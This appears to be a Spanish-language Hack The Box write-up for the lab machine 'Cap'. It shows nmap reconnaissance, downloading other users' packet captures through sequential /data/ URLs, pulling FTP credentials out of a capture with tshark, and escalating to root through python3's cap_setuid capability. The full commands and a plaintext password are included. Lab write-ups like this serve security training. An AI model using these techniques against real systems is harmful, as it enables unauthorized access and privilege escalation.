CAP | Hack the box

CAP | Hack the box

·

4 min read

Para empezar como siempre hacemos ping a la ip de la máquina

ping -c 1 10.10.10.245

Pasamos al scaneo con nmap y guardamos el resultado en allPorts

nmap -p- --open -sS --min-rate 5000 -vvv -n 10.10.10.245 -Pn -oG allPorts

Nos teporta que tenemos abiertos los siguientes puertos

PORT   STATE SERVICE REASON
21/tcp open  ftp     syn-ack ttl 63
22/tcp open  ssh     syn-ack ttl 63
80/tcp open  http    syn-ack ttl 63

Ahora nos interesa encontrar sus versiones

nmap -sVC -p21,22,80 10.10.10.245 -oN targeted
ORT   STATE SERVICE VERSION
21/tcp open  ftp     vsftpd 3.0.3
22/tcp open  ssh     OpenSSH 8.2p1 Ubuntu 4ubuntu0.2 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   3072 fa80a9b2ca3b8869a4289e390d27d575 (RSA)
|   256 96d8f8e3e8f77136c549d59db6a4c90c (ECDSA)
|_  256 3fd0ff91eb3bf6e19f2e8ddeb3deb218 (ED25519)
80/tcp open  http    gunicorn
| fingerprint-strings: 
|   FourOhFourRequest: 
|     HTTP/1.0 404 NOT FOUND

probamos la version de ftp, que es vulnerable, pero estoy en una maquina con parrot y despues de pasar un rato investigando no funciona el servicio ftp , intento instalar me vsftpd y no tengo resultados.

Paso a buscar el servicio del puerto 80 con whatweb:

whatweb http://10.10.10.245
http://10.10.10.245 [200 OK] Bootstrap, Country[RESERVED][ZZ], HTML5, HTTPServer[gunicorn], IP[10.10.10.245], JQuery[2.2.4], Modernizr[2.8.3.min], Script, Title[Security Dashboard], X-UA-Compatible[ie=edge]
nmap --script http-enum -p80 10.10.10.245 -oN webscan
Starting Nmap 7.93 ( https://nmap.org ) at 2024-10-27 22:23 CET
Nmap scan report for 10.10.10.245
Host is up (0.19s latency).

PORT   STATE SERVICE
80/tcp open  http

Veo que tene alojada una pagina web. Desde el navegador entro y miro en los enlaces que hay a donde me lleva. Encuentro el subdirectorio data, veo que en data/1 puedo descargarme una archivo 1.cap

Pruebo a ver si funciona con otrso numeros. veo que 0.cap tambien me permite descargarme otro archivo.

http://10.10.10.245/data/0

pero son ficheros que no contienen nada más de la respuesta obtenida con el segundo exaneo de namp que guardamos en un fichero llamado targeted.

PORT   STATE SERVICE VERSION
21/tcp open  ftp     vsftpd 3.0.3
22/tcp open  ssh     OpenSSH 8.2p1 Ubuntu 4ubuntu0.2 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   3072 fa80a9b2ca3b8869a4289e390d27d575 (RSA)
|   256 96d8f8e3e8f77136c549d59db6a4c90c (ECDSA)
|_  256 3fd0ff91eb3bf6e19f2e8ddeb3deb218 (ED25519)
80/tcp open  http    gunicorn
| fingerprint-strings: 
|   FourOhFourRequest: 
|     HTTP/1.0 404 NOT FOUND
|     Server: gunicorn
|     Date: Sun, 27 Oct 2024 21:18:47 GMT
|     Connection: close
|     Content-Type: text/html; charset=utf-8
|     Content-Length: 232
|     <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 3.2 Final//EN">
|     <title>404 Not Found</title>
|     <h1>Not Found</h1>

paso este archivo que he capturado por un tsharck

tshark -r 0.pcap -Tfields -e tcp.payload 2>/dev/null | xxd -ps -r

y obtengo mucha informacion entre ella el nombre de usuario de esta máquina, que he podido ver desde la pagina web y unas credenciales.

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 3.2 Final//EN">
<title>404 Not Found</title>
<h1>Not Found</h1>
<p>The requested URL was not found on the server. If you entered the URL manually please check your spelling and try again.</p>
220 (vsFTPd 3.0.3)
USER nathan
331 Please specify the password.
PASS Buck3tH4TF0RM3!
230 Login successful.

intento conectarme por ssh al usuario nathan y pongo ese password que he encontrado

ssh nathan@10.10.10.245
nathan@cap:~$ ls
user.txt

ahy puedo ver la flag de hack the box de usuario, voy a buscar la de root. Con sudo -l veo que no tengo permisos

nathan@cap:~$ sudo -l
[sudo] password for nathan: 
Sorry, try again.
[sudo] password for nathan: 
Sorry, user nathan may not run sudo on cap.

hago un id para ver que a que gurpos pertenezco

athan@cap:~$ id
uid=1001(nathan) gid=1001(nathan) groups=1001(nathan)

No pertenezco z ningun grupo especial, con find busca permisos suid

nathan@cap:~$ find /-perm -4000 -user root 2>/dev/null | xargs ls -l
total 4
-r-------- 1 nathan nathan 33 Oct 27 20:56 user.txt

No veo nada, voy a ejecutar getcap

getcap -r / 2>/dev/null
/usr/bin/python3.8 = cap_setuid,cap_net_bind_service+eip
/usr/bin/ping = cap_net_raw+ep
/usr/bin/traceroute6.iputils = cap_net_raw+ep
/usr/bin/mtr-packet = cap_net_raw+ep
/usr/lib/x86_64-linux-gnu/gstreamer1.0/gstreamer-1.0/gst-ptp-helper = cap_net_bind_service,cap_net_admin+ep

Veo que tengo permisos suid en python, ya solo me queda conectarme a python importat la libreria os, ejecutar comandos desde system, cambiar mi uid a 0 que es el de root y ya podre ver la fag

nathan@cap:~$ python3
Python 3.8.5 (default, Jan 27 2021, 15:41:15) 
[GCC 9.3.0] on linux
Type "help", "copyright", "credits" or "license" for more information.
>>> import os
>>> os.system ("whoami")
nathan
0
>>> os.setuid(0)
>>> os.system ("whoami")
root
0
>>> os.system("bash")
root@cap:~# ls
user.txt